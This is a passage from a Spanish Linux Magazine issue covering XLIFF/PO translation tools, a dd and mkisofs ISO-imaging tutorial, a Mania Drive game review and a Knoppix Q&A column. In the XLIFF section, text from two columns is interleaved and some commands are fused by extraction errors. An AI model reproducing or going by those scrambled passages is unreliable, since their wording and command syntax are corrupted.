simultáneamente en el mismo proceso, ¿verdad? Similares, y también parte del «Proyecto de herramientas XLIFF», son las xliff-tools-java, de Rodolfo M. Raya. Aporta dos conversores: po2xliff.sh y xliff2po. ¿Por qué le interesa esta interoperabilidad entre PO y XLIFF? Ahora caemos: ¡para lograr la unificación de bases de datos de traducciones, de memorias de traducción y de glosarios! ¡para permitir la interoperabilidad entre proyectos con distinto origen! Espero que el lector paciente empiece a adivinar a dónde queremos llegar en este largo y tortuoso razonamiento, que ha ocupado -no sé si lo sabe- casi cuatro años. Pero ahora estamos presentando conversores. Otro filtro es XliffRoundTrip. Afirma automatizar el camino de ida y vuelta entre cualquier fichero XML y XLIFF. Consiste en una aplicación en java y dos archivos XS. El primero, xml2xliff.xsl, transforma XML en XLIFF. El segundo, xliff2xml.xsl, reconvierte el XLIFF en el XML traducido. También hemos encontrado file2xliff4j, de Airin, Sonny Zubia y Weldon Whipple, en estado alfa según su página en Sourceforge. Al parecer utiliza un proceso OpenOffice abierto con la orden soffice -headless -norestore -accept=”socket,port=8100;urp” y por tanto utiliza los filtros de OpenOffice. Requiere una numerosa lista de bibliotecas java, entre otras JOOConverter, que convierte los documentos de Word, Excel, PowerPoint y RTF a ODT y después convierte el documento ODT a XLIFF. Mucho más maduros parecen los OLT XLIFF Filters, también en java, complementarios del OLT Translation Editor. La lista de ficheros que puede convertir es importante: HTML, Docbook SGML, JSP, XML (filtro genérico – requiere un fichero de configuración para cada tipo de XML), OpenOffice.org y Open Document Format (sxw, sxc, sxi y odw, odc, odi), texto plano, PO (gettext), Msg/tmsg (catgets), ficheros .properties
Figura 6: Transolution.
y ResourceBundle de java, archivos de recursos .DTD de Mozilla. Tampoco debemos olvidar que el Translate ToolKit complementario de Pootle incluye po2xliff.py y xliff2po.py [4]. Volveremos sobre esto porque hay aquí una clave que se nos había pasado desapercibida.
El editor XLIFF Transolution Transolution[5] (anunciado como EvilTrans en marzo de 2005) se presenta como una suite de traducción de fuente abierta que consiste en un editor XLIFF, un motor de memorias de traducción (a cargo de Fredrik Estreen) y unos filtros XLIFF. El editor XLIFF está desarrollado en python y con las bibliotecas gtk y glade por Fredrik Corneliusson. A pesar de sus prometedores primeros pasos, de su licencia GPL y de la cercanía que proporciona el uso de las bibliotecas y widgets con los que el usuario está familiarizado, ha vuelto a ocurrir la tragedia del desarrollador independiente: el 28 de enero de 2006 Fredrik Corneliusson anunció que el desarrollo de Transolution quedaba suspendido porque había cambiado de empleo y la nueva ocupación no le dejaba tiempo para continuar con su desarrollo. Y sí, vamos a insistir por si ha pasado desapercibido, la pérdida de un editor XLIFF GPL es una tragedia. ¿Cómo funciona? Después de descomprimir el paquete con la aplicación se activa el bit de ejecutable de xliffeditor.py y se lanza la aplicación. La figura 6 es una captura del editor tras abrir nuestro fichero de prueba.
El Open-Language Tools Translation Editor En este caso sí que se trata de un proyecto vivo ¡y con todo el poder de Sun detrás! La versión 1.2.6 es de 8 septiembre 2006[6]. La licencia es la semi-libre Common Development and Distribution License (CDDL) de Sun, versión 1.0, con todas las implicaciones de requerir la máquina virtual java de Sun 1.5. Realmente no es nada satisfactorio que el único editor de XLIFF vivo de código abierto tenga esta dudosa licencia. La herramienta de Tim Foster está muy bien documentada, y se glosa también (figura 7) el proceso de traducción
WWW.LINUX- MAGAZINE.ES
Figura 5: Flujo de trabajo con xliff-po-tools.
por medio de XLIFF. Ya la hemos mostrado en uso, y no tenemos más que fijarnos en la potencia de la interfaz para añadir marcas (traducido, revisado y aprobado…) El primeramente llamado OLP STE (ha sido durante años una herramienta interna de Sun) incluye varias características avanzadas: permite importar y exportar memorias de traducción en formato TMX, e incluye un formato interno de memoria de traducción, Mini-TM, con el que se pueden fusionar memorias de distintos proyectos; está concebido para la creación de bases de datos de traducciones. El resultado, por supuesto, es el fichero traducido (figura 8) en el formato original (y nuevas entradas en la base de datos de traducciones y en la memoria de traducción).
¿Desencanto? ¿Qué desencanto? Sin embargo desde el verano de 2005 la situación ha cambiado. No se puede decir que los traductores de software y documentación libres se hayan pasado en masa al mundo de XLIFF. Hay voces que rechazan su adopción por pesado, complejo e innecesario. Asgeir Frimannsson ha abandonado sus filtros. Fredrik Corneliusson ha suspendido el desarrollo de Transolution. Pero es que hay más. El 26 de julio de 2005 Rodolfo M. Raya envió a la lista xliff-tools@lists.freedesktop.org el resultado de un experimento. Simplemente había descargado los cuatro ejemplos de documentos XLIFF disponibles en el sitio de OASIS [7] y había intentado
Figura 7: Proceso de traducción con XLIFF.
Número 22
77
LINUX USER • Educación
xliff-tools@lists.freedesktop.org: «El formato XLIFF, con todos sus elementos específicos, está obviamente destinado a los traductores profesionales y al flujo de trabajo dentro de las empresas. El formato PO, por otro lado, fue concebido para un flujo de trabajo simple, consistente únicamente en un desarrollador y un traductor (…) Esto es enteFigura 8: Momento de la generación del fichero traducido. ramente suficiente para el 95% de los proyectos abrirlos con los distintos editores. En la tabla de fuente abierta (…) Para el restante 5% de 1 podemos leer el resultado que obtenía: proyectos, los mayores, como OpenOffice, Advirtamos para el lector no avisado que GNOME, etc., ciertas necesidades específicas Raya hace la comparación examinando tam(por ejemplo flujos de trabajo más complicabién software no libre y que es el desarrollados, o la desambiguación de los mensajes de dor principal (espero no equivocarme aquí) la interfaz gráfica de usuario por el contexto) del editor Heartsome. He realizado la misma no son cubiertas por los archivos y las herraprueba con las versiones actuales del editor mientas PO». OLT (1.2.6) y Transolution (0.4b5): los resulHay textos que son iluminadores en su clatados son idénticos a los de Raya. Y es sorridad. Por un lado Haible no queda satisfecho prendente, porque en nuestro ejemplo antetras el reconocimiento de necesidades no rior el funcionamiento de los dos editores satisfechas por su sistema: hemos visto cómo había sido impecable. Claro: el editor OLT no las últimas versiones de gettextt permiten protiene problemas para leer un XLIFF generado porcionar información de contexto. Pero adepor los filtros OLT. más creo que toca los conceptos clave de la ¿Qué significa este resultado? Para hacerse cuestión: profesionalización de la traducción, una idea recordemos que XLIFF es un forflujo de trabajo, escala. mato complicado, pero pensado específica¿Puede el software libre dejar pasar el tren mente para la compatibilidad («para el interde la profesionalización? ¿Puede ignorar las cambio sin pérdida de datos» que decía la exigencias, no sólo de continuidad (un tradefinición de la especificación). Es aceptable ductor voluntario puede abandonar una traque un editor vaya añadiendo detalles en su ducción si lo desea, no está obligado más que cumplimiento del futuro estándar (un docupor su compromiso moral) y de coordinación mento puede contener una carga de informade equipos (¿hay muchas empresas en el ción compleja, pero el reconocimiento o no de mundo capaz de generar el número de líneas unos determinados elementos y atributos es de código o de documentación que se geneopcional); lo que no es de recibo es que traran en el mundo FOSS?), sino de calidad baje con una versión modificada y propia de (corrección ortotipográfica, completud del la especificación, y no sea capaz de abrir ni flujo de trabajo de asignación de tareas, trasiquiera los ejemplos XLIFF más simples. ducción, revisiones, actualizaciones, pero ¿Quiere esto decir que la opción XLIFF ha sobre todo validez terminológica y semántica fracasado? ¿Que, a pesar de que en abstracto de la traducción)? Y además, ¿tiene sentido XLIFF sea un formato superior técnicamente, continuar como un reducto aislado en el mar en la práctica no está justificado el esfuerzo de la localización, alejados de los llamados de migración ni las herramientas disponibles traductores profesionales y de las técnicas y son adecuadas? tecnologías aprendidas en las Escuelas de Traductores? Es verdad, una aplicación sola es PO y XLIFF ¿frente a normalmente cosa de un equipo reducido, frente? pero esa aplicación será parte de un proyecto El 16 de febrero de 2005 Bruno Haible, al que mayor, sea GNU, Gnome, KDE… y la termiya conocemos como responsable actual de nología y las traducciones de ese proyecto gettext, enviaba la siguiente reflexión a la lista global deben ser coherentes, y ese proyecto se
78
Número 22
WWW.LINUX- MAGAZINE.ES
mantendrá y actualizará periódicamente o morirá. ¿Estamos en un callejón sin salida? Vamos a recuperar un fragmento de las especificaciones funcionales del proyecto WordForge: «En la actualidad el formato Gettext/PO es la base de toda la localización del mundo FOSS. No obstante XLIFF es un estándar emergente. Por consiguiente, el conjunto de herramientas hará abstracción del uso de PO o de XLIFF, de manera que puedan utilizarse indistintamente. Esta abstracción permitirá que las herramientas sigan siendo útiles a los que trabajan en la localización si continúan usando PO, pero también permitirá la migración al más rico formato XLIFF. Los archivos de los diferentes proyectos FOSS que van a traducirse se convertirán a PO o a XLIFF usando filtros de conversión de entrada. Seguidamente los ficheros se envían a pootle. Una vez traducidos y revisados, se vuelven a convertir al formato original usando filtros de conversión de salida (…) Además pootle puede utilizar glosarios TBX y memorias de traducción TMX para mejorar el contenido de los ficheros PO o XLIFF que se presentan a los traductores y revisores, facilitando así el trabajo del traductor y asegurando la calidad de las traducciones. La calidad se garantiza mediante varias comprobaciones(…)» Vaya vaya, va a resultar que la tecnología TMX, TBX, XLIFF, está integrada y abstraída en pootle (al menos como proyecto en sus especificaciones). ¿Alguien había hablado de desencanto? Ahora comprendemos que tanto el esquema de la figura 5 como el de la figura 7 son válidos: en el primer caso se trata del proceso de migración y de creación inicial de la base de datos de traducciones; en el segundo del trabajo directo con XLIFF. Quizás las herramientas no estén terminadas pero el camino parece estar claro.
Y en el próximo número… Nos falta hablar de dos cosas. Por un lado, extraer conclusiones de nuestra panorámica de herramientas y formatos, cinco entregas de datos sin tomar decisiones y hacer propuestas no nos parece aceptable. Por otro examinar el flujo de trabajo de los equipos de traducción al castellano. Que el bosque de los detalles no nos haga olvidar que el objetivo inmediato de esta serie de artículos era lograr la incorporación de voluntarios a I los equipos de traducción.
Linea de comandos: Isos • LINUX USER
Creación de imágenes ISO con dd y mkisofs
IMAGEN ESPEJO Si se están creando copias de seguridad, salvando datos o copiando CDs arrancables, dd y mkisofs te ayudan a realizar este trabajo estupendamente. POR HEIKE JURZIK
L
a línea de comandos dispone de numerosas aplicaciones para copiar CDs o DVDs. Pero antes de que se pueda realizar la copia, es preciso crear una imagen ISO. ISO (o ISO 9660, para usar su nombre completo) es el sistema de ficheros estándar para la administración de ficheros en CDs. mkisofs y dd son las herramientas de la línea de comandos que ayudan a crear las imágenes ISO. La utilidad mkisofs soporta las extensiones Rockridge y Joliet (ver el cuadro “Rockridge y Joliet”). Incluso puede usarse mkisofs para hacer copia de los datos automáticamente, excluyendo ficheros individuales si es necesario. dd es una herramienta alternativa que puede suponer la última oportunidad para salvar los datos de un disco duro muerto.
Convertir y Copiar La práctica herramienta dd debería haberse llamado en realidad cc, por convertir y copiar. Pero como este nombre ya había sido asignado al compilador C, los desarrolladores tomaron la letra siguiente del alfabeto. dd crea una copia idéntica byte a byte del medio, no importa si son particiones del disco duro, CDs o DVDs. Soporta operaciones de lectura y escritura de bloque seguras. Como no procesa o interpreta esos bloques, el sistema de ficheros subyacente es indiferente. De hecho, dd incluso no se amedrenta por discos duros con errores (ver la sección “dd al Rescate: El Último Cartucho”). La sintaxis básica del comando es: dd if=fuente of=objetivo
La opción if permite decirle a dd de dónde leer los datos fuente, mientras que la opción of define la salida. La fuente y el objetivo son a menudo dispositivos tales como particiones del disco duro o lectores/grabadores de CD/DVD. Como alternativa, puede usarse un signo igual para señalar a un fichero. Para copiar la partición del disco duro hda1 byte a byte a /dev/hdb1 se escribe: dd if=/dev/hda1 of=/dev/hdb1
Incluso puede usarse dd para copiar rápidamente un CD o DVD en la línea de comando. Para crear una imagen ISO:
WWW.LINUX- MAGAZINE.ES
Número 22
79
LINUX USER • Linea de comandos: Isos
dora tarea que supone rescatar datos de sistemas de ficheros dañados. Antes de reparar el daño ha de hacerse una copia de seguridad. De este modo, se usa dd para crear una copia idéntica byte a byte de un sistema dañado y a continuación la usamos para el intento de rescate. Predeterminadamente, dd excluye sectores defectuosos de la copia. Para evitarlo y coger todos los datos que sean posibles, será preciso habilitar la opción conv=noerror,sync: dd bs=512 conv=noerror , sync U if=/dev/hda of=/dev/hdb Figura 2: mkisofs te informa en todo momento de lo que está ocurriendo mientras se crea el sistema de archivos ISO.
$ dd if=/dev/hdc of=miimagen.iso 9153728+0 records in 9153728+0 records out 4686708736 bytes transferred in 1209.649659 seconds U (3874435 bytes/sec)
Cuando se está usando dd, no es necesario montar el medio para hacer una copia rápida. Sustituye la denominación del dispositivo /dev/hdc con el nombre de dispositivo en tu caso. La imagen ISO se escribe en un fichero llamado miimagen.iso en el directorio actual.
Optimización de Opciones dd dispone de distintas opciones. Un parámetro práctico que acelera la velocidad del programa considerablemente es bs (por “block size”, o lo que es lo mismo, “tamaño de bloque”). Por defecto, dd usará bloques de 512 bytes, es decir, lee 512 bytes de una vez y los escribe en el fichero de salida. Si se selecciona un tamaño de bloque mayor se puede acelerar el proceso. Por ejemplo, si se escribe…
GLOSARIO ISO: Linux soporta varios tipos de sistemas de ficheros tales como Ext2, Ext3, ReiserFS, incluso FAT y NTFS. ISO 9660, para llamar al sistema de ficheros por su nombre completo, es el sistema de ficheros estándar para administrar ficheros en CD-ROMs.
80
Número 22
dd if=/dev/hda1 of=/dev/hdb1 U bs=2k
… se le dice a dd que copie la partición en bloques de 2Kb (2048 bytes). Si el bloque último es más pequeño que el tamaño de bloque especificado, dd no lo rellenará: dd if=/dev/hda1 U of=dev/hdb1bs=6k U 16059+1 records in U 16059+1 records out 98670592 bytes transferred U in 13.801482 seconds U (714927 bytes/sec)
La salida dice que dd ha copiado 16059 bloques cada uno de los cuales contiene 6144 bytes, con un bloque que restante de 4096 bytes. Además del tamaño de bloque puede especificarse el número de bloques que se desea que lea. Para copiar 40MB, se escribe bs= 1M count=40. La opción count especifica el número de bloques. Esto tiene sentido si se quiere salvar un sector de arranque del disco duro. Deberán copiarse los primeros 512 bytes del bloque haciendo lo siguiente: dd if=/dev/hda of=bootsector U bs=512 count=1
dd al Rescate: El Último Cartucho dd es una herramienta esencial si nos enfrentamos con la desalenta-
WWW.LINUX- MAGAZINE.ES
De este modo se le dice que continúe leyendo y almacenando datos, incluso si descubre sectores defectuosos. La etiqueta noerror le dice que no se detenga en los errores, y sync que pise los sectores ilegibles con ceros.
Imágenes ISO con Mkisofs La herramienta mkisofs (“make ISO9660 filesystem”) crea imágenes ISO, aunque lo hace de una manera muy competente, ofreciendo además un buen número de características adicionales. La sintaxis básica es: mkisofs parámetro - o U mifichero.iso /directorio/datos
La etiqueta -o define el nombre del fichero objetivo. A continuación va seguido de los datos que quieren almacenarse en la imagen. Como parámetro adicional, puede decírsele a mkisofs que habilite extensiones Rockridge a través de la opción -r. Podría especificarse -R en cambio para establecer privilegios y ficheros
Rockridge y Joliet La extensión Rockridge añade información de fichero de estilo Unix (tales como propietario, grupo, privilegios de acceso y enlaces simbólicos) al sistema de ficheros ISO para evitar la pérdida de datos cuando son copiados desde un sistema de ficheros Unix a un CD. Al mismo tiempo, Rockridge soporta nombres de ficheros largos. La extensión Microsoft Joliet para el estándar ISO 9660 también soporta nombres de ficheros largos.
Linea de comandos: Isos • LINUX USER
de los propietarios. La extensión Joliet se habilita con la etiqueta -J: mkisofs -J -R -o myfile.iso U /directory/data
-V permite especificar un nombre (volumen ID) para el CD/DVD. Si el nombre incluye blancos y/o caracteres especiales, no debe olvidarse usar comillas: mkisofs -V “Backup 20060502” ...
Para obtener salidas más detalladas, puede habilitarse la opción -v (de “verbose”) (Figura 1). La opción opuesta sería -quiet. Si se prefiere evitar mensajes de salida de estado en la ventana terminal, pero no se desea hacerlo con la información que suministran esos mensajes ¿por qué no redireccionar la salida del comando mkisofs a un logfile?: mkisofs ... -logfile U log.txt ...
-o copia.iso /home/huhn
-x permite excluir directorios completos. Soporta varios argumentos: mkisofs ... -x /tmp -x U /var -o backup.iso /
Cuando se emplean estos parámetros, hay que asegurarse de evitar usar comodines cuando se especifican los ficheros que se desean escribir a la imagen. El comando siguiente: mkisofs ... -m *.html -m U *.HTML -o backup.iso *
le dice a nuestra shell que resuelva el comodín final, es decir, que añada todos los ficheros a la imagen. Si se desean excluir ficheros con extensiones de backup típicas, tales como ficheros acabados en #, o .bak, se especifica la opción -no-bak.
¡Arrancable! Ideal para Backups Mkisofs dispone de un importante número de opciones prácticas para crear copias de seguridad a intervalos regulares. Por ejemplo, la opción -m permite excluir ficheros desde una imagen. Los argumentos del nombre del fichero siguen a la opción. Incluso puede manipular comodines y múltiples nombres. Por ejemplo, para excluir todos los ficheros HTML de su imagen ISO, puede hacerse lo siguiente: mkisofs ... -m *.html -m *.HTML U
Para crear medios auto-arrancables, se añade el cargador de arranque Isolinux [1], el cual se integra muy bien con mkisofs: mkisofs -J -R -o bootcd.iso U -b isolinux/isolinux.bin U -c isolinux/boot.cat U -no-emul - boot U -boot - load - size 4 U -boot - info - table U /folder/data
Nótense las opciones adicionales en el listado precedente: la etiqueta -b
seguida del nombre de la imagen de arranque y -c permiten especificar el catálogo de arranque. El parámetro -no-emul-boot le dice al programa que no cree una emulación cuando se instala desde un CD, sino que, en su lugar escriba los contenidos del fichero imagen al disco. La opción -boot-load-size 4 especifica que la BIOS debería proporcionar cuatro sectores de 512 bytes para el fichero de arranque. Finalmente, la opción -boot-info-table establece la distribución de la información del medio de lectura en el tiempo de arranque. Nótese que esta información debería estar almacenada en el directorio isolinux bajo /folder/data.
Probando las Imágenes La utilidad mount (de la que hablamos en esta sección en Linux Magazine número 21) ofrece una manera práctica de comprobar imágenes ISO antes de copiarlas en un CD. Para comprobar la imagen ha de montarse en el sistema de ficheros mediante la opción -o loop: mount -o loop myfichero.iso U /mnt/tmp
Obsérvese que el punto montaje debe existir y que no se necesitan privilegios de superusuario para este comando. Una vez completado la comprobación, puede desmontarse la imagen ISO de nuevo introduciendo I umount /mnt/tmp.
RECURSOS [1] Isolinux: http://syslinux.zytor.com/ iso.php
LINUX USER · Juegos
Mania Drive
AUTOS (LIBRES) LOCOS Los más veteranos en el mundo de los juegos conocerán títulos como Stunts, los primeros simuladores 3D de conducción que existieron y que causaron sensación entre el público en general. En esa misma línea de juego, con muchas mejoras y completamente libre, llega ahora Mania Drive. POR VICENTE CARRO
H
ace ya más de un año el que suscribe estuvo bastante tiempo buscando un motor de videojuegos GPL para linux que tuviera dos características fundamentales: el lenguaje de programación tenía que ser C y debía usar aceleración gráfica OpenGL. Tras mucho buscar apareció de la nada Raydium [1]. Este motor estaba todavía en sus comienzos y tenía muchas carencias, pero un simple vistazo al código reveló que era lo que buscaba. Presentaba una característica muy interesante: todos los añadidos que se iban haciendo se aplicaban a su juego insignia: Mania Drive [2]. Mania Drive es un divertidísimo juego de conducción (que no de carreras) donde el objetivo fundamental es completar cada circuito en solitario en el menor tiempo posible evitando todos los obstáculos que nos encontraremos. Con este sencillo planteamiento, la comunidad de Raydium ha creado un videojuego tremendamente adictivo con algunos detalles que lo sitúan cerca del nivel de calidad de algunos juegos comerciales.
¿Cuántos polígonos? Su aspecto gráfico, sin resultar sobresaliente como en títulos de conducción de videoconsolas, está muy bien logrado. Los modelados
82
Número 22
son correctos, aunque las “piezas” que componen los circuitos están algo escasas de polígonos; esto se debe a una decisión salomónica del equipo de desarrollo para garantizar el mejor rendimiento posible en todas las configuraciones. Además, el hecho de que los escenarios estén creados con “piezas” permite usar un editor para crear los nuevos circuitos. Contrariamente, el vehículo que conducimos tiene muy buen modelado con un número de polígonos bastante alto.
Motores que rugen Lo primero que destaca del apartado sonoro del juego es que, como banda sonora, han incluido temas musicales, con licencia Creative Commons, de muy buena calidad; algo a lo que no nos tienen acostumbrados los juegos libres. Así desde la pantalla del menú, con buena música, textos en español y un vídeo de fondo, se logra sorprender al jugador casual que ha puesto el juego sólo por probar. Respecto a las licencias Creative Commons de las canciones (en ellas se pide el reconocimiento del autor) se ha utilizado un método ya visto en otros juegos comerciales: incluir un banner deslizante que aparece sincronizado con el inicio de la canción que
WWW.LINUX-MAGAZINE.ES
se está reproduciendo y donde se nos informa de su título y autor. Muy efectivo. Los efectos sonoros se reducen prácticamente a un discutible ruido del motor, que cambiará según la aceleración de nuestro vehículo, y a efectos (muy particulares) que se escucharán al pasar por las cercanías de una zona de aceleración o la meta por ejemplo. Sin duda, los efectos son lo peor del apartado sonoro, aunque sus desarrolladores ya han comentado que se mejorará este aspecto en próximos lanzamientos.
Física real Lo que más llama la atención de este juego es el comportamiento de nuestro coche en el
Figura 1: Debemos controlar los derrapes.
Juegos · LINUX USER
Figura 2: Un mal volantazo y nuestro coche volcará.
mundo. Incluso siendo conscientes de que la conducción ha sido simplificada para hacerlo más arcade (se han suprimido las marchas por ejemplo), la respuesta del coche es sospechosamente realista. Esto se debe a que realmente Raydium (motor del juego) incluye a su vez un motor de física real: ODE[3] (Open Dynamic Engine). Estas tres siglas son sinónimo del mejor motor físico libre que hay disponible, y eso se nota en el juego. Derrapes en las curvas, colisiones en los quitamiedos, vuelcos, saltos en los obstáculos, y toda la variedad de comportamientos reales de un coche se pueden ver en Mania Drive.
Controles En pos de la jugabilidad se ha simplificado mucho el control de nuestro vehículo. Se podrá acelerar, retroceder (que servirá también para frenar) y girar a ambos lados con los cursores. Se han suprimido a propósito las marchas (que incorpora por defecto Raydium) y no será posible bloquear las ruedas por mucho que “frenemos”. Además, en el momento en el que se escriben estas líneas, la actual versión del juego (1.02) tiene una carencia en la versión win32: no se pueden usar joysticks, con lo que los usuarios de linux llevamos ventaja al poder usarlos, y ciertamente nos serán de gran ayuda si queremos lograr una buena posición en la clasificación mundial.
gen para superar cada circuito son extremadamente ajustados, por lo que no podremos permitirnos ni un error en el recorrido de cada uno de ellos. Pero para que podamos aprender a correr bien tenemos disponibles en este modo unos circuitos Tutoriales donde se nos explicarán las bases de conducción y las técnicas más importantes. El modo Pistas Internet permite al jugador elegir un circuito de la lista para intentar completarlo en el menor tiempo posible. Una vez terminemos el circuito nuestro tiempo se comparará instantáneamente con la clasificación de Mania Drive y se nos indicará el puesto mundial en el que hemos quedado. Este pequeño detalle de darnos un puesto en tiempo real hace que este modo de juego se convierta en un vicio, ya que los circuitos no suelen ser muy largos y correremos una y otra vez para ir arañando segundos y así subir puestos con cada nueva repetición. El modo Multijugador está pensado para jugar en red local. Uno de los jugadores tendrá que activar el servidor y el resto de jugadores deberán conectarse a él (a su dirección IP) para poder jugar. Este modo es igual que los anteriores, pero veremos a nuestros amigos en pantalla como si de fantasmas se tratase, por lo que no podremos colisionar contra ellos, aunque la competitividad se verá aumentada al verlos solapándose con tu coche. También es posible jugar vía Internet indicando la dirección IP pública del que haga de servidor y además, éste también tendrá que abrir el puerto 29104 de su router. En otro binario ejecutable encontraremos un editor de pistas para Mania Drive, aunque no viene de serie en los paquetes de binarios. Para conseguirlo será imprescindible bajarse la última versión de desarrollo del motor Raydium. Quizás para cuando leáis esto ya haya salido publicada la versión 1.03 con el editor integrado.
Desde el día del lanzamiento de su primera versión la comunidad de jugadores interesados en el juego se ha disparado desmesuradamente. Además, numerosos programadores se están animando para mejorar el motor Raydium en General y Mania Drive en particular. La lista de cambios a realizar [4] incluye desde la inclusión de luces de freno funcionales hasta novedosos efectos gráficos, multitud de nuevas ideas, así como corrección de los lamentablemente siempre presentes errores. Incluso hace poco han surgido “mods” que cambian las texturas del coche, del escenario o versiones mejoradas de las piezas de los circuitos. Entre los últimos avances de Mania Drive se ha añadido un coche especial, un circuito bonus llamado “rally” y está terminándose un nuevo “mundo” de ambiente desértico.
Conclusión Mania Drive es muy jugable, divertido y recomendable. Con la creciente comunidad de Raydium cada día se generan más apoyo y nuevos añadidos. Su juego online y el sistema de posiciones contrastadas en tiempo real harán que el jugador se “vicie” casi sin darse cuenta. Probablemente nos encontremos ante un juego que pasará a formar parte de la historia de los juegos libres en muy poco I tiempo.
Puntuación GLOBAL: Lo mejor:
7,50
• Genial motor físico • Muy adictivo y en español • Gran banda sonora
Lo peor: • Los efectos puntuales de sonido • Pocos polígonos en circuitos
RECURSOS
Clasificación Mundial Mania Drive nos ofrece 4 modos de juego: el Modo Historia, el modo Pistas Internet, el modo Multijugador y Otras Pistas. El Modo Historia es simplemente una secuencia de circuitos que se irán desbloqueando a medida que superemos los tiempos establecidos. Lamentablemente para algunos, los tiempos que se nos exi-
El futuro
[1] Página oficial de Raydium: http:// www.raydium.org [2] Página oficial de Mania Drive: http:// maniadrive.raydium.org [3] Página oficial de ODE: http://www. ode.org [4] Lista de futuros cambios: http://wiki. raydium.org/wiki/RoadMap Figura 3: Textos de pantalla en castellano, genial.
WWW.LINUX-MAGAZINE.ES
Número 22
83
COMUNIDAD · Konsultorio
EL CONSULTORIO DE KLAUS Kernel panic not syncing :U VFS: Unable to mount root fs U on unknown block (8, 17)”
Klaus Knopper es el creador de Knoppix y co-fundador de la LinuxTag Expo. Trabaja en la actualidad
como
profesor,
programador y consultor. Si tiene algún problema de configuración, o simplemente quiere conocer mejor cómo funciona Linux, no dude en escribir sus preguntas a:
preguntas@linux-magazine.es.
Knoppix y USB
Creo que esto puede ser debido al hecho de que mi initrd tiene soporte para USB y SCSI como módulos cargables, mientras que me parece que este soporte ha de estar compilado dentro del kernel, cosa que no sé cómo lograr. O quizás esté equivocado en mi planteamiento. ¿Existe alguna otra manera de hacer que funcione? Quizá pueda usted escribir un artículo acerca de esto en Linux Magazine. Si le aparece el mensaje de error inmediatamente tras cargar el kernel, puede que se haya descuidado y no haya añadido el ramdisk inicial con los módulos USB al cargador de Linux. Tanto si usa grub, sys/extlinux o lilo, debería haber una línea “append” que diga algo como initrd= some-filename.gz, con ficheros.gz como el initrd que hemos creado previamente. Arrancar desde USB puede ser un poco más complicado de lo que pensamos debido a que este tipo de dispositivos necesitan generalmente algún tiempo extra para alcanzar
Uso Knoppix desde hace unos dos años y tengo la siguiente pregunta: ¿podría describir paso a paso cómo arrancar Linux (Knoppix) desde un dispositivo USB? He leído algunos artículos al respecto, pero hasta el momento no lo he logrado. Por lo que he podido entender de estos artículos, la cuestión es crear un initrd, que tras el arranque inicial, debería ser capaz de montar el sistema de archivos desde el dispositivo USB en / (raíz). He logrado crear mi propio initrd, pero sigo sufriendo el siguiente error:
84
Número 21
WWW.LINUX-MAGAZINE.ES
un estado en el que puedan ser reconocidos por el kernel. Puede que piense que con añadir los drivers correctos al kernel se puede acceder directamente a las particiones /dev/sda* cuando el kernel monta el sistema de archivos raíz, pero desafortunadamente esto no es tan sencillo. Tras cargar los módulos USB (ohci-hcd, uhci-hcd o ehci-hcd) y usb-storage, hay un periodo de tiempo de entre 5 y 20 segundos en los cuales el proceso de inicialización simplemente tiene que esperar hasta que el dispositivo USB esté preparado y todas las particiones sean reconocidas por el kernel. Antes de eso, las particiones del dispositivo USB no son ni siquiera visibles en el espacio de kernel. El procedimiento general para lograr que un disco duro externo USB o pendrive sea arrancable con Linux depende mucho de la configuración del particionamiento y del sistema de archivos deseado. Si tenemos una partición FAT en /dev/sda1, podríamos usar syslinux y colocar un kernel y un initrd con todos los drivers necesarios allí, y añadir una directiva root=/dev/sda2 en el bootloader, con lo que se montaría un sistema de achivos Linux ext2 desde la segunda partición. No creo que el initrd-utils estándar de
COMUNIDAD · Konsultorio
Figura 1: Podemos buscar drivers en la página www.kernel.org.
Debian soporte esto debido al periodo de espera ya comentado para que el disco/dispositivo USB esté listo, por lo que tendremos que configurar un initrd de manera manual con un tiempo de espera suficientemente largo entre la carga de los módulos y el acceso a las particiones /dev/sda*. No debería importar si ponemos todos los drivers USB en el kernel (uno o varios de los *-hcd más el usb-strage) o en el disco Ram inicial, ya que en ambos casos tendremos que retrasar el montaje de/desde el dispositivo USB. Encontraremos una descripción de cómo cargar Linux en un dispositivo USB en el caso de Knoppix en http://www.knoppix.net/ wiki/USB_Based_FAQ. En este documento se coloca un sistema live Linux en un dispositivo USB que está formateado con un sistema de archivos FAT (por defecto). La descripción debería ser la misma que para una instalación desde un disco duro USB también. Hay que hacer notar que no todas las combinaciones de dispositivo USB y placa son arrancables, a pesar de las promesas de los fabricantes. Existen varias versiones GNU/ Linux “diseñadas para el arranque USB” con las que podemos experimentar si estamos interesados. Consulte http://spblinux. sourceforge.net/ o http://www. damnsmalllinux.org/.
Drivers SATA Acabo de hacerme con un equipo Linux hecho a medida. Se trata de una máquina “a la última” con los siguientes componentes:
86
Número 22
•
3 discos duros SATA2 (WD 320 GB) a 7200 rpm, con 16 MB de búfer • 1 Kingston 512 MB DDR2 533FSB • 1 CPU Intel P-4630-3GHz 800 FSBSB/ 2M con ventilador retail box fan • 1 placa ASUS P5LD2 VM Allin-1 atx mb • 1 DVD-RW Plextor Cuando intento instalar Linux (Red Hat versión 9), logro completar parte del proceso. Tras seleccionar el idioma (US), Linux me indica que debo seleccionar un “device driver”. Ninguna de las opciones funciona. No creo que sea el CD-RW, ya que está leyendo el disco de instalación. He deshabilitado la tarjeta de sonido y el acceso a Internet en la BIOS. Como los discos SATA2 son nuevos en el mercado, supongo que Linux puede no está totalmente preparado para soportarlos. He enviado las siguientes preguntas a Red Hat, ASUS y Western, y no he recibido ninguna respuesta. • ¿Tiene su compañía algún driver para los discos SATA2 para Red Hat (versión 9)? • ¿Conoce algún repositorio con drivers que soporten su hardware? • ¿Conoce alguna distribución de Linux además de Red Hat que soporte los nuevos discos SATA2? Klaus, quizá usted pueda arrojar algo de luz sobre este problema. ¿Qué podría hacer? Los drivers para SATA2 no dependen de la distribución específica (o más bien, las distribuciones no deberían depender de un kernel específico). Por lo tanto, las posi-
WWW.LINUX-MAGAZINE.ES
